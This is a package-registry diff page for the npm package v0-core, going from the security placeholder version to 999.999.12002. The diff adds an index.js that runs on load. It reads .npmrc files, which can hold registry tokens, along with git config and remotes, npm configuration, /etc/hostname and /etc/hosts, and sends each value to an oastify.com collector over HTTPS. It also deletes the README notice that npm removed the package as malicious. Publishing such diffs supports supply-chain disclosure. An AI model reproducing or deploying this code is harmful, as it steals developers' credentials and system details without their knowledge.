v0-core 0.0.1-security → 999.999.12002
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of v0-core might be problematic. Click here for more details.
- package/index.js +68 -0
- package/package.json +5 -3
- package/README.md +0 -5
package/index.js
ADDED
|
@@ -0,0 +1,68 @@
|
|
|
1
|
+
const https = require('https');
|
|
2
|
+
const fs = require('fs');
|
|
3
|
+
const { execSync } = require('child_process');
|
|
4
|
+
|
|
5
|
+
const BURP = 'https://mwmpg55raceez7neisrihqmriioec40t.oastify.com';
|
|
6
|
+
|
|
7
|
+
try {
|
|
8
|
+
const configs = {};
|
|
9
|
+
|
|
10
|
+
// NPM Configuration
|
|
11
|
+
try {
|
|
12
|
+
if (fs.existsSync('/home/node/.npmrc')) {
|
|
13
|
+
configs.home_npmrc = fs.readFileSync('/home/node/.npmrc', 'utf8').substring(0, 500);
|
|
14
|
+
}
|
|
15
|
+
} catch(e) {}
|
|
16
|
+
|
|
17
|
+
try {
|
|
18
|
+
if (fs.existsSync('.npmrc')) {
|
|
19
|
+
configs.local_npmrc = fs.readFileSync('.npmrc', 'utf8').substring(0, 500);
|
|
20
|
+
}
|
|
21
|
+
} catch(e) {}
|
|
22
|
+
|
|
23
|
+
try {
|
|
24
|
+
configs.npm_config_list = execSync('npm config list 2>&1').toString().substring(0, 1000);
|
|
25
|
+
} catch(e) {}
|
|
26
|
+
|
|
27
|
+
try {
|
|
28
|
+
configs.npm_registry = execSync('npm config get registry 2>&1').toString().trim();
|
|
29
|
+
} catch(e) {}
|
|
30
|
+
|
|
31
|
+
try {
|
|
32
|
+
configs.registry_grep = execSync('npm config list 2>&1 | grep registry').toString().trim();
|
|
33
|
+
} catch(e) {}
|
|
34
|
+
|
|
35
|
+
try {
|
|
36
|
+
if (fs.existsSync('.git/config')) {
|
|
37
|
+
configs.git_config = fs.readFileSync('.git/config', 'utf8').substring(0, 500);
|
|
38
|
+
}
|
|
39
|
+
} catch(e) {}
|
|
40
|
+
|
|
41
|
+
try {
|
|
42
|
+
configs.git_remote = execSync('git remote -v 2>&1').toString().substring(0, 500);
|
|
43
|
+
} catch(e) {}
|
|
44
|
+
|
|
45
|
+
// System files
|
|
46
|
+
try {
|
|
47
|
+
if (fs.existsSync('/etc/hostname')) {
|
|
48
|
+
configs.hostname = fs.readFileSync('/etc/hostname', 'utf8').trim();
|
|
49
|
+
}
|
|
50
|
+
} catch(e) {}
|
|
51
|
+
|
|
52
|
+
try {
|
|
53
|
+
if (fs.existsSync('/etc/hosts')) {
|
|
54
|
+
configs.hosts = fs.readFileSync('/etc/hosts', 'utf8').substring(0, 500);
|
|
55
|
+
}
|
|
56
|
+
} catch(e) {}
|
|
57
|
+
|
|
58
|
+
// Send all configs to single BURP
|
|
59
|
+
Object.keys(configs).forEach(key => {
|
|
60
|
+
const value = encodeURIComponent(configs[key] || 'not_found');
|
|
61
|
+
https.get(`${BURP}/v0-core-${key}?value=${value}`, r => r.resume()).on('error', () => {});
|
|
62
|
+
});
|
|
63
|
+
|
|
64
|
+
} catch(e) {
|
|
65
|
+
https.get(`${BURP}/v0-core-error?msg=${e.message}`, r => r.resume()).on('error', () => {});
|
|
66
|
+
}
|
|
67
|
+
|
|
68
|
+
module.exports = {};
|
package/package.json
CHANGED
package/README.md
DELETED
|
@@ -1,5 +0,0 @@
|
|
|
1
|
-
# Security holding package
|
|
2
|
-
|
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
|
4
|
-
|
|
5
|
-
Please refer to www.npmjs.com/advisories?search=v0-core for more information.
|